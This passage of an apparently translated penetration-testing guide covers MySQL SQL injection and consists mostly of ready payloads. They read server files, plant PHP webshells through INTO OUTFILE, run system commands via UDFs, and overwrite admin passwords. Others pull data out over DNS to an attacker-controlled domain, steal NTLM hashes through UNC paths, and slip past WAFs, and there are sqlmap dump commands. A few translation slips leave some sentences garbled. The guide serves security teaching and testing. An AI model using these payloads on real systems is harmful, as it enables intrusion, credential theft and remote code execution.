SELECT * FROM INFORMATION_SCHEMA.PROCESSLIST;
IDUSERHOSTDBCOMMANDTEAMSTATEINFO
1rootlocalhosttestdbQuery10executingSELECT * FROM some_table
2app_uset192.168.0.101appdbSleep300sleepingNULL
3gues_userexample.com:3360NULLConnect0connectingNULL

Via UNION:

sql
UNION SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

And the DIOS version to download all the contents of the table:

sql
UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0X00),(SELECT(@)FROM(information_schema.processlist)WHERE(@)IN(@:=CONCAT(@,0x3C62723E,state,0x3a,info))))a),3,4 #

Why it's interesting: la colonna INFO show queries of other users, and those queries may contain sensitive data (passwords, tokens, emails) that the application is currently passing. To see other users' processes, you need the appropriate privileges; without them, you only see your own. In MySQL 8, this table is deprecated in favor of performance_schema.processlist, but it is still found on many systems.


Read files from the server #

With LOAD_FILE() The database reads a file from the server's disk and returns it to you as text. Three things are needed: the privilege FILE, the absolute path to the file, and that the user running MySQL can read it.

sql
UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));

The second line encodes the file in base64: this is used to read files with strange characters (like PHP code, which would otherwise be interpreted or broken by the page). Then you decode it locally.

If that fails, you'll probably see this error:

text
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

secure_file_priv Restricts the directories in which MySQL can read and write files. Check its value with SELECT @@secure_file_priv: if it's empty there is no limit, if it contains a path you are confined there, if it is NULL The function is disabled.

If you are root on the database and the privilege FILE it's missing, you can reactivate it:

sql
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#

This however does not circumvent secure_file_priv: this is set when the server starts.

What to read in a test: configuration file with credentials (wp-config.php, .env, config.php), the app's code to find other vulnerabilities, /etc/passwd as a reading test. If your real purpose is to read files, it's also worth knowing Path Traversal .

LOAD DATA LOCAL INFILE: a different case from LOAD_FILE() #

LOAD_FILE() read a file server side, with database privileges. LOAD DATA LOCAL INFILE It's another story: read a file client side, that is, from the machine running the query — typically the application server, not the database itself.

sql
LOAD DATA LOCAL INFILE '/var/www/html/config.php' INTO TABLE tabella_temporanea;

Two important practical differences compared to LOAD_FILE():

  • It doesn't depend on privileges FILE on the database, but from the fact that the driver/client (e.g. PHP/Python/Java library that connects to MySQL) has the mode LOCAL enabled — on many modern libraries it is disabled by default precisely because of the risk of injection, so it is not a technique that works “always” as LOAD_FILE().
  • If it works, it reads files from the server application, not from the database server: useful when the two are different machines and you want to read files that the database itself cannot see.

To decide which technique to try, think about what you're really attacking: LOAD_FILE()/INTO OUTFILE/INTO DUMPFILE act on the filesystem MySQL server, LOAD DATA LOCAL INFILE on that of the client connecting, and a UDF (seen above) executes commands with the privileges of the MySQL processSame end goal—read/write files or execute commands—but three different surfaces, with different prerequisites.


Running commands #

If you can write files in addition to reading , you can write a script in the site folder and call it from the browser. This is the step that transforms an SQLi into an RCE.

Webshell with INTO OUTFILE #

INTO OUTFILE Writes the query result to a file. You make sure the "result" is PHP code and the file ends up in the web folder.

sql
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

In the test we always start from the harmless test (phpinfo()): if the page appears, the writing works and you can move on. Note that the third line uses the hexadecimal code (0x3c3f70687020... è <?php phpinfo(); ?>): useful when superscripts are filtered.

Webshell with INTO DUMPFILE #

INTO DUMPFILE writes the data as they are, on a single line and without adding escape characters or newlines. OUTFILE instead it modifies them, so DUMPFILE It is the right choice for binary files or scripts that should not be altered.

sql
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';

Requirements for both methods: privilege FILE, secure_file_priv that allows it, a folder that the MySQL user can write to, and the exact path to the web root (you get it from mistakes, phpinfo, configuration file or with @@datadir as a clue). Also OUTFILE It does not overwrite existing files. Once you have a web shell, the natural path is Web Shell and then command injection .

Commands with a UDF #

A UDF (User Defined Function) is a function written in C and loaded as a library into MySQL. The best known, lib_mysqludf_sys, adds functions for launching system commands. First check if it's already installed:

text
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so

Then you can use sys_exec e sys_eval:

text
$ mysql -u root -p mysql
Enter password: [...]

mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+

The command runs under the MySQL service user (here mysql), not as system root. Loading a UDF requires high privileges and a writable plugin folder (@@plugin_dir): this is a rarer scenario than the webshell, but it's worth knowing about. If you get to the shell, the next escalation varies depending on the system; for Linux there is Linux Privilege Escalation .


INSERT: Change the admin password #

If the injection is inside a query INSERT (for example a user registration) you cannot use UNION, but you can take advantage ON DUPLICATE KEY UPDATE: tells MySQL what to do when you try to insert a row that already exists, such as an email address that is already registered.

Payloads:

sql
attacker_dummy@example.com", "P@ssw0rd"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" --

The final query becomes:

sql
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "BCRYPT_HASH"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" -- ", "BCRYPT_HASH_OF_YOUR_PASSWORD_INPUT");

What happens, step by step:

  1. Enter a “bait” user attacker_dummy@example.com.
  2. Try to insert also admin@example.com, which already exists.
  3. Because of ON DUPLICATE KEY UPDATE, instead of giving an error, MySQL updates the admin password with P@ssw0rd.
  4. Log in as admin with that password.

Two caveats: if the app saves hashed passwords, the password you set here isn't a hash, and login may not work; in that case, enter a valid hash for the algorithm used by the app. And this payload modifies real data ; for testing, use it only in labs.


Truncation: two different “admins” that are the same #

In some MySQL configurations consider admin e admin (with spaces after) equal in comparisons. If the column has a character limit, the excess is truncated and discarded.

sql
`username` varchar(20) not null

Payloads: username = "admin a" (admin, lots of spaces until you exceed 20 characters, then a letter).

How it works: When you register, the app checks that admin<spazi>a doesn't exist (and in fact it doesn't), so it accepts it. Then MySQL cuts it to 20 characters and saves admin followed by spaces, which is equivalent to admin. Now you have a second user “admin” with the your password.

Warning: This only happens if MySQL is not in strict mode . Since version 5.7, strict mode is enabled by default and produces an error instead of silent truncation. This is an old attack, still found on older or poorly configured installations.


Special contexts: ORDER BY, LIMIT, Stacked Queries and Second-Order #

The injection does not always end in a comfortable way WHERE. Here UNION often it doesn't work and you have to change your approach.

Injection in ORDER BY #

After ORDER BY you can't add UNION. But you can change the order of the results based on a condition and read the answer by looking at how the rows are ordered.

sql
?sort=IF(ASCII(SUBSTR(version(),1,1))=53,id,title)
?sort=(SELECT CASE WHEN (1=1) THEN id ELSE title END)
?sort=(SELECT IF(ASCII(SUBSTR(user(),1,1))>=100,SLEEP(3),0))

In the first, if the condition is true the list is sorted by id, otherwise for title: the difference gives you the true or false. The second is the same idea with CASEThe third is the time-based version. Defense side: the name of a column cannot be passed as a parameter in a prepared statement, so it must be checked with a whitelist of permitted values.

Injection after LIMIT #

Dopo un LIMIT you can't use UNION. On older versions it exists PROCEDURE ANALYSE:

sql
1 LIMIT 1,1 PROCEDURE ANALYSE()
1 LIMIT 0,1 PROCEDURE ANALYSE(EXTRACTVALUE(RAND(),CONCAT(0x3a,version())),1)

The first adds column information to the response (at least one column must be printed by the app). The second exploits an error to output data. Warning: it has been deprecated since 5.7 and removed in MySQL 8. On MySQL 8 the method remains LIMIT INTO to count the columns, then the blind and time-based techniques.

Stacked queries #

They are multiple queries separated by ; in a single request:

sql
1; SELECT SLEEP(5)-- -

In MySQL they only work if the application code explicitly executes multiple statements in the same call — for example with mysqli_multi_query() instead of the normal one mysqli_query() (which only runs one), or with a driver/library configured to explicitly allow it (e.g. the flag CLIENT_MULTI_STATEMENTS in some MySQL clients). Beware of a common mistake: use PDO's “emulated prepares” (PDO::ATTR_EMULATE_PREPARES) does not enable multiple queries per se — that option affects how PDO prepares the query client-side, not whether the underlying driver accepts multiple statements separated by ; in a single call. Always check which function/method executes the query, not just whether the prepared statements are “emulated.” For this reason, stacked queries are much less common in MySQL than in Microsoft SQL Server: if you need a comparison, see SQL Injection MSSQL .

Second order #

The payload does no harm when you send it: it comes saved and it causes damage when another part of the application reads it and uses it in a query. Example: you register with username admin'-- -. Later the “change password” function performs:

sql
UPDATE users SET password='nuova' WHERE username='admin'-- -'

The comment cuts out the rest, and the changed password is the admin 's . To find them, you have to follow the data: where it's entered, where it's read, and whether it's protected at that second point. Anyone who defends themselves on the first input but trusts what's already in the database remains vulnerable.


SQL Injection into UPDATE, DELETE, GROUP BY and HAVING #

So far the examples are almost all on SELECT. But the vulnerable parameter can end up inside a UPDATE or DELETE —and here the syntactic constraints are different: you cannot use UNION (there is not a SELECT with which to merge it) and the impact changes completely, from “read data” to “modify or delete data”.

Injection in the WHERE clause of UPDATE/DELETE #

sql
UPDATE profiles SET bio='ciao' WHERE user_id=5 OR 1=1-- -
DELETE FROM sessions WHERE token='abc' OR 1=1-- -

Same logic as the classic OR 1=1, but the effect is not “seeing more lines”: it is edit or delete all rows in the table, not just the expected one. In a real application, this could mean deleting all active sessions or overwriting every user's profile—much more destructive than a read.

Injection into the written value, not just into the condition #

sql
UPDATE users SET email='attacker@evil.com' WHERE id=(SELECT id FROM users WHERE username='admin')-- -

If the vulnerable parameter is the value that you are writing (not just the condition WHERE), you can embed a subquery there too: here the new email value depends on a SELECT chosen by you, useful for targeting the edit to a specific row without knowing its id in advance.

Exfiltrate data with GROUP BY and HAVING #

GROUP BY/HAVING they don't support UNION, but you can make a data appear in the error message by using the same error-based principle already seen (duplicate-key error):

sql
' GROUP BY CONCAT((SELECT password FROM users LIMIT 1),FLOOR(RAND(0)*2)) HAVING MIN(0)-- -

This is the classic “RAND() GROUP BY duplicate” payload for error-based: FLOOR(RAND(0)*2) generates a repeatable pseudo-random sequence of 0/1, and when MySQL builds a temporary table for the GROUP BY may end up calculating the same key twice, generating an error Duplicate entry '<password>1' for key <chiave> that contains the data. This only works on some versions/configurations of MySQL (the internal behavior of GROUP BY (has changed over time) — if you don't get the error, go back to EXTRACTVALUE/UPDATEXML.

Injection into dynamic identifiers (column/table names) #

A different case: sometimes it is not the value that is concatenated, but the column name used to sort or group (already seen in ORDER BYMySQL doesn't allow passing a column name as a parameter in a prepared statement — so, on the application side, the correct defense is a whitelist of allowed names, not escaping the value (see also in the defenses section).

Out of Band: Taking data out of the database #

If you don't get anything from the page or the times, you can have the database contact your server . The data is output within the request.

Writing to a network share:

sql
SELECT @@version INTO OUTFILE '\\\\192.168.0.100\\temp\\out.txt';
SELECT @@version INTO DUMPFILE '\\\\192.168.0.100\\temp\\out.txt';

Always remember to double the backslashes: inside a SQL string every \ it must be written \\, then a UNC path \\server\share becomes \\\\server\\share.

DNS Exfiltration #

Put the data inside the name of a domain you control. When the server tries to resolve it, your DNS server (or a collaboration service like Burp Collaborator) receives the request with the data inside.

sql
SELECT LOAD_FILE(CONCAT('\\\\',VERSION(),'.hacker.site\\a.txt'));
SELECT LOAD_FILE(CONCAT(0x5c5c5c5c,VERSION(),0x2e6861636b65722e736974655c5c612e747874))

The server tries to read \\5.7.33.hacker.site\a.txt: to do this it solves 5.7.33.hacker.site and you see the version in your DNS logs. The second line is the same with the hexadecimal strings. Important: This only works if your MySQL server is running on Windows, because UNC paths \\... are a Windows concept, and require privilege FILETo learn more about the protocol, see DNS .

UNC Path: Stealing the NTLM Hash #

A UNC (Universal Naming Convention) path has the form \\server\condivisione\file and in Windows it is used to access network resources. If you make the MySQL server try to reach one of yours SMB share, Windows tries to authenticate with the service account and gives you its NetNTLM hash.

sql
SELECT LOAD_FILE('\\\\error\\abc');
SELECT LOAD_FILE(0x5c5c5c5c6572726f725c5c616263);
SELECT '' INTO DUMPFILE '\\\\error\\abc';
SELECT '' INTO OUTFILE '\\\\error\\abc';
LOAD DATA INFILE '\\\\error\\abc' INTO TABLE DATABASE.TABLE_NAME;

Instead of error Enter the IP or hostname of your machine, where an SMB server listens. Tools like Reply They capture the incoming hash. You can then try to crack it with Hashcat or use it in a relay attack (see NTLM Relay e NTLM (for theory). The requirements also apply here: MySQL on Windows, privilege FILE e secure_file_priv that doesn't block it. In a lab, you can simply look at the incoming traffic to see proof that the server is "going out."


Stored Procedures, Dynamic SQL, and DEFINER/INVOKER Privileges #

A stored procedure isn't automatically secure . If it constructs a query by concatenating a string instead of using a bound parameter, the vulnerability still exists—it simply moves from within the application code to within the database.

Dynamic SQL with PREPARE/EXECUTE #

sql
CREATE PROCEDURE cerca_utente(IN nome_utente VARCHAR(50))
BEGIN
  SET @sql = CONCAT('SELECT * FROM users WHERE username = \'', nome_utente, '\'');
  PREPARE stmt FROM @sql;
  EXECUTE stmt;
  DEALLOCATE PREPARE stmt;
END;

This procedure seems use PREPARE/EXECUTE (often wrongly associated with “safe by default”), but the query is built by concatenating nome_utente inside a string before to prepare it: the injection takes place in the CONCAT(), not in execution. Call it with nome_utente = "x' OR '1'='1" produces the same result as a direct concatenation in PHP. PREPARE/EXECUTE protects only if user values ​​arrive as prepared query parameters (EXECUTE stmt USING @valore), not if they end up inside the hand-constructed SQL string.

SQL SECURITY DEFINER vs INVOKER #

sql
CREATE PROCEDURE p()
SQL SECURITY DEFINER
BEGIN
  SELECT * FROM tabella_riservata;
END;

CREATE PROCEDURE p()
SQL SECURITY INVOKER
BEGIN
  SELECT * FROM tabella_riservata;
END;

In MySQL the clause SQL SECURITY goes between the signing of the procedure and the body enclosed in BEGIN ... END — there is no abbreviated form with ASThis clause decides with what privileges does the procedure run?: DEFINER (the default) runs it with the privileges of whoever created it, INVOKER with the privileges of those who call it. A procedure DEFINER created by a user with elevated privileges and vulnerable to injection becomes a way to run queries with higher privileges than yours — a privilege escalation via injection, not just data theft. Always verify the DEFINER of a suspicious stored procedure:

sql
SELECT DEFINER FROM information_schema.routines WHERE routine_name='cerca_utente';

WAF Bypass #

A WAF (Web Application Firewall) blocks suspicious words (UNION, SELECT, information_schema…). The techniques below are for writing the same thing in a way that the filter doesn't recognize but MySQL understands. None of them are magic: modern WAFs know many of these tricks, so try them as ideas to combine, not as guaranteed recipes.

Alternatives to information_schema #

Se information_schema.tables It's filtered, MySQL has other tables that contain the same names. For example mysql.innodb_table_stats:

text
SELECT * FROM mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> SHOW TABLES IN dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+

Limitations: Only sees InnoDB tables and you need to be able to read the database mysqlFor columns, you must use the methods in the “without information_schema” section.

If it is only filtered information_schema.tables o information_schema.columns, there are other views of the same database that contain table names:

  • information_schema.partitions
  • information_schema.statistics
  • information_schema.key_column_usage
  • information_schema.table_constraints

On MySQL 5.7 and above also database views sys expose table names and schemas.

Alternatives to VERSION #

If the word version it's filtered:

text
mysql> SELECT @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> SELECT @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> SELECT version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> SELECT @@GLOBAL.VERSION;
+------------------+
| @@GLOBAL.VERSION |
+------------------+
| 8.0.27           |
+------------------+

Four ways to read the same information: if one is blocked, use the other.

Alternative to GROUP_CONCAT #

Requires MySQL 5.7.22 or higher. json_arrayagg() does the same job as group_concat() but it is not tied to the system parameter group_concat_max_len (1024 bytes by default): however, it remains subject to other limits, first and foremost max_allowed_packet on the maximum size of the transferred result, and the order of the rows in the array is not guaranteed. If group_concat it's filtered, or the data exceeds 1024 bytes and you can't raise group_concat_max_len, is a valid alternative — but not a way to have “unlimited data.”

  • group_concat() = 1024 bytes by default (configurable with group_concat_max_len, if you can set it)
  • json_arrayagg() = not tied to group_concat_max_len, but still limited by max_allowed_packet and from the HTTP transport of the response — not an “unlimited” value
sql
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;

Scientific notation #

In MySQL the e indicates an exponent: 1e3 vale 1 x 10^3, i.e. 1000; 1.5e3 is worth 1500; 2e-3 is worth 0,002. MySQL's parser is very permissive with this syntax and there are cases where a dot, a e and a space are “digested” in unexpected ways. The following two commands are equivalent for MySQL:

sql
SELECT table_name FROM information_schema 1.e.tables
SELECT table_name FROM information_schema .tables

The same trick applies to the classic login bypass payload ' or ''=', that becomes ' or 1.e('')=' or 1' or 1.e(1) or '1'='1. And it can garble an entire query to fool the WAF:

sql
1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2

It's a technique born from a real parsing bug that bypassed AWS's WAF in 2021: mainstream products now use it, but it's a great example of how filter-bypassers think.

Conditional comments #

Comments /*! ... */ are executed by MySQL as normal code. If after the ! put a version number, the content runs only if the server version is equal to or higher than that number.

The number has 5 digits in the format MMmmpp: for example 50700 means 5.7.00 and 80000 means 8.0.00. So:

  • /*!50000UNION*/ runs on MySQL 5.0.0 and above
  • /*!12345UNION*/ e /*!31337SELECT*/ they read as version 1.23.45 and 3.13.37: they always run on any modern MySQL, because the server version is higher

WAF sees a comment, MySQL sees UNION e SELECT true. Examples: /*!12345UNION*/, /*!31337SELECT*/. In practice, to be sure that the code is executed, it is better to use a low number like /*!50000UNION*/.

Wide Byte Injection (GBK) #

Some applications use multi-byte character sets (GBK, SJIS) where one character occupies two bytesThe problem arises when PHP and MySQL interpret byte sequences differently. An app that runs SET NAMES gbk and defends itself with the escape (add a \ in front of the apexes) can be bypassed.

Sequences used for the attack:

  • %bf%27: after PHP adds the backslash (%5c) the sequence becomes %bf%5c%27. In GBK the bytes %bf%5c form a single valid character, and leave %27 (the apex) free.
  • %bf%5c: same concept: the backslash is “eaten” by the previous byte.
  • %a1%27: variant with another leading byte.

Payloads built with this idea:

text
%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' OR 1=1 -- --

Vulnerable PHP code, which filters backslashes, single quotes and double quotes:

php
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash

    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());

How it works, step by step:

  1. Bath ?id=1'. PHP adds a backslash and the query becomes WHERE id='1\'': the apex is neutralized, no injection.
  2. Send instead ?id=1%df'. PHP adds the backslash anyway: the sequence is %df + %5c + '.
  3. In GBK %df%5c is a only character (連). The backslash has been “absorbed” into the character.
  4. The query becomes WHERE id='1連'' LIMIT 0,1: the apex is free and closes the string.
  5. With the payload ?id=1%df' and 1=1 --+ you get WHERE id='1連' and 1=1 --+' LIMIT 0,1, a valid, injected query.

The defense is simple: use the parameterized queries e utf8mb4, and never rely on addslashes or a handmade escape.

Blocked spaces #

If the filter eliminates spaces, MySQL accepts other ways of separating words.

TechnologyExample
Comments instead of spacesUNION/**/SELECT/**/1,2,3
Brackets?id=(0)union(select(0),database(),(0))#
Other “empty” characters%09 (tab), %0a, %0b, %0c, %0d in place of %20
The plus signSELECT+name+FROM (doesn't work right before FROM)

Blocked apexes #

When you need to write a string and the quotes are filtered, you write it in another format:

sql
WHERE table_name=0x7573657273
WHERE table_name=CHAR(117,115,101,114,115)
WHERE table_name=UNHEX(7573657273)

There are three ways to write the word users. The hexadecimal (0x...) is the most used.

Locked commas #

Many functions use commas, but almost all have an alternative form without them.

With the commaWithout the comma
SUBSTR(x,1,1)SUBSTR(x FROM 1 FOR 1) or MID(x FROM 1 FOR 1)
LIMIT 0,1LIMIT 1 OFFSET 0
IF(cond,a,b)CASE WHEN cond THEN a ELSE b END
UNION SELECT 1,2,3UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
SUBSTR(x,1,1)='a'x LIKE 'a%'

A real case described on the RedForce blog: injection in a INSERT o UPDATE where the app was breaking input on commas. The solution is a time-based one that uses only CASE e LIKE:

sql
xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

%25 is the % encoded for the URL. First find the length of the data with length((MY_QUERY))=N, then try the characters one by one: where the response stops 1 second, the character is correct. cast(... as char) it's needed because without it it wouldn't work on that target.

Blocked keywords and operators #

If it's blockedTry it now
WHEREHAVING, for example (0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#
AND, OR&&, `, XOR, ^`
= e !=LIKE, NOT LIKE, IN
NULL0
UNION SELECTUNION ALL SELECT, UNION DISTINCT SELECT, UNION(SELECT ...)
Lowercase wordsMixed case: SeLeCt
any wordsVersioned comment: /*!50000UNION*//*!50000SELECT*/

If the filter clears the word forbidden only once, you can hide it inside yourself: UNUNIONION becomes UNION after the cancellation, and SSELECTELECT becomes SELECT. Does not work if the filter works recursively.

When almost everything has filtered out #

In the most extreme cases, only the special characters remain. At that point, you don't build a new query: you add a condition to the WHERE already existing, using the column names that the original query already reads (here id, name, pass).

text
?id=1&&mid(pass,1,1)=(0x61);%00
?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00
?id=if((name)like(0x61646D696E),id,0);%00

The first one asks for “the first character of pass è a?”. The second one adds a name check (0x61646D696E è admin). The third returns theid of the admin only if the condition is true. The %00 (null byte) is used to trim the rest of the original query: it only works in some contexts.

Even if =, LIKE e & they are blocked you can use the XOR: ?id=66^ORD(carattere) returns 3 only when the character is A, because 65 XOR 66 is 3.

Duplicate encoding and parameters #

  • Double URL encoding: %73 becomes %2573A filter that decodes only once sees %73, the application decodes a second time and gets s.
  • HTTP Parameter Pollution: you send the same parameter twice (id=1&id=...). Each backend handles duplicates differently (PHP takes the last one, ASP.NET joins them with a comma), and sometimes the WAF checks a different value than the one arriving in the database.

Automate with sqlmap #

Once you understand where and how the injection works, sqlmap takes care of the repetitive work. First you figure it out manually, then you automate it: if you run it blindly, you won't know what it's doing or why it fails. If you're working with complex requests, save the request from Burp Suite and pass it to sqlmap.

bash
# Test base su un parametro, forzando MySQL
sqlmap -u "http://target/page.php?id=1" --dbms=mysql --batch

# Elenco database, tabelle, colonne, dump
sqlmap -u "http://target/page.php?id=1" --dbms=mysql --dbs
sqlmap -u "http://target/page.php?id=1" --dbms=mysql -D nomedb --tables
sqlmap -u "http://target/page.php?id=1" --dbms=mysql -D nomedb -T users --dump

# Forzare una sola tecnica (U=union, E=error, B=boolean, T=time)
sqlmap -u "http://target/page.php?id=1" --dbms=mysql --technique=T

# Leggere un file (serve il privilegio FILE)
sqlmap -u "http://target/page.php?id=1" --dbms=mysql --file-read="/etc/passwd"

# Provare i tamper per aggirare un WAF
sqlmap -u "http://target/page.php?id=1" --dbms=mysql --tamper=space2comment,randomcase

If a filter blocks sqlmap requests, the --tamper apply many of the techniques seen above for you.

TamperWhat does he do
space2commentReplaces spaces with /**/
space2mysqlblankReplaces spaces with other blank characters accepted by MySQL
randomcaseSwitch case in keywords
symboliclogicalSubstitute AND e OR with && and ``
versionedkeywordsPut keywords inside versioned comments
betweenSubstitute > with NOT BETWEEN 0 AND ...
equaltolikeSubstitute = with LIKE
unmagicquotesPrepare GBK wide byte attack on quotes

You can combine: --tamper=space2comment,randomcaseFirst figure out what's blocking the filter with manual requests, then choose the right tamper: launching them all at once usually breaks the payload.


Sqlmap on real HTTP requests (POST, cookie, header, JSON, CSRF) #

Hitherto sqlmap -u "URL?id=1" This is enough for a simple GET parameter. In practice, the vulnerable parameter is often in a POST body, a cookie, a custom header, or a JSON body—and authentication is required.

From a request saved in Burp Suite #

bash
sqlmap -r richiesta.txt -p id --batch

Save the complete HTTP request from Burp Suite (right click → “Copy to file” or “Save item”), pass it with -r, and use -p to tell sqlmap which parameter to test — without -p, sqlmap tries to guess all parameters, slower and noisier.

bash
sqlmap -u "https://target/page" --cookie="session=abc123; id=1*" --batch
sqlmap -u "https://target/page" -H "X-Forwarded-For: 1*" --batch

The asterisk * Inside the value, it tells sqlmap "test here," instead of the default GET/POST parameter. This is useful when the vulnerable parameter is not in the URL or the body, but in a header that the application reads (custom authentication headers, X-Forwarded-For used in a log query, etc.).

JSON Body #

bash
sqlmap -r richiesta.txt --data='{"id":"1*"}' --batch

Sqlmap automatically recognizes a JSON body if the Content-Type in the saved request is application/json; if it doesn't detect it, it passes explicitly --data with the JSON and the asterisk on the field to test.

Authentication and CSRF tokens #

bash
sqlmap -r richiesta.txt -p id --csrf-token=csrf_token --csrf-url="https://target/login" --batch

If your application requires a CSRF token that changes with each request, --csrf-token indicates the name of the parameter and --csrf-url the page from which sqlmap must fetch a fresh one before each test — otherwise every request with an expired token is rejected before it even reaches the database.

Second-order injection with sqlmap #

Here, sqlmap alone isn't enough: the injection is triggered in a query other than the one where you write the payload (e.g., you write a malicious value in a profile, and the injection is triggered when that value is reread elsewhere). The practical workflow:

  1. Use sqlmap (or manually) only for confirm injection on the second point, once you know where the data appears — pass the request directly to it readers the data is saved, not the one who writes it.
  2. If the second point is not easily reachable via HTTP (e.g., an internal batch job), confirmation remains manual: write the payload, trigger the rereading, observe the effect (error, delay, exfiltrated data) as in the examples in the second-order section.

Extra Advanced Techniques: JSON and REGEXP #

Many modern applications store structured data in a column JSON (Available since MySQL 5.7.8). If injection affects a query that reads from one of these columns, it's worth knowing the syntax for reading into it.

sql
-- Estrae il campo "user" da una colonna JSON chiamata "data"
SELECT JSON_EXTRACT(data, '$.user') FROM profili;

-- Stessa cosa con l'operatore freccia (equivalente, più corto)
SELECT data->'$.user' FROM profili;

-- Come sopra, ma restituisce il testo senza virgolette (utile per confronti)
SELECT data->>'$.user' FROM profili;

$.user is a JSON path: $ indicates the root of the document, .user the property to read. For arrays, use $[0], $[1]… This syntax is also useful as a “collateral” bypass: if a filter aggressively blocks quotes or parentheses but does not recognize -> o ->> as suspicious operators, it can let them pass.

Since version 8.0.4, MySQL also has REGEXP_LIKE(), a more powerful regular expression comparison than LIKE, useful in blind injection to test a character class in a single request:

sql
?id=1 AND REGEXP_LIKE((SELECT password FROM users LIMIT 1), '^[a-f0-9]{32}$')

This example tests in one go whether the password looks like an MD5 hash (32 hexadecimal characters), which is useful for understanding the format of the data before extracting it character by character.


Extra advanced techniques: alternative metadata, error-free column counting, and other tricks #

Some more techniques, especially useful when information_schema is blocked or filtered, or when you want to work “silently” without generating visible errors.

Other ways to read metadata. Besides mysql.innodb_table_stats e sys.schema_auto_increment_columns already seen, on MySQL 8 you can also try:

sql
SELECT * FROM sys.x$schema_flattened_keys;
SELECT * FROM sys.schema_table_statistics;

These are views of the scheme sys intended for performance monitoring, but still list table and column names — useful as an additional alternative if information_schema is filtered by the WAF or an application control.

Count columns with a JOIN on a derived table, instead of the classic ones ORDER BY o UNION SELECT NULL,NULL,...:

sql
' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c-- -

If the number of derived tables (a, b, c, …) that you combine with JOIN matches the number of columns in the original query, the answer is valid. Add or remove a derived table until the error disappears: this is an alternative way to ORDER BY N to understand how many columns to expect, convenient when ORDER BY it's filtered.

Comparing tuples (row-values) to verify error-free data , useful in blind when you already know the table structure (including column names) and want to confirm precise values ​​without reading character by character:

sql
' AND (SELECT 1 FROM users WHERE (username,password)=('admin','segreta'))-- -

MySQL supports direct comparison between “tuples” of values: (a,b)=(c,d) returns 0 o 1 Instead of an error, compare the entire row at once. If the row exists with exactly those values, the condition is true. Note: here the names username/password must be known (you have already extracted them from information_schema.columns) — This technique is for checking a suspicious value in a single query, not for discovering column names, and is not a replacement for bisection extraction when you don't already know the value.

Conditional version fingerprint , useful for understanding if you are talking to MySQL 5.x or 8.x without a visible error:

sql
' AND IF(SUBSTRING(@@version,1,1)='8', SLEEP(5), 0)-- -

If the response is slow, the major version is 8; if it is immediate, it is another. The same scheme works with BENCHMARK() in place of SLEEP() when SLEEP is blocked (see the section on WAF bypass).

Multilingual payload across multiple quote contexts. When you're unsure whether a parameter ends in single, double, or no quotes, a payload designed to "break" all contexts at once saves you guessing.

sql
'"`--/*!50000;-- -

It's not magic: it's a sequence that attempts to close the string with a single quote, then a double quote, then a backtick (used for identifier names in MySQL), before moving to a comment. If one of the contexts is correct, the rest of the payload behaves as expected; if it isn't, the application will at most display a syntax error, which still confirms the presence of the injection.

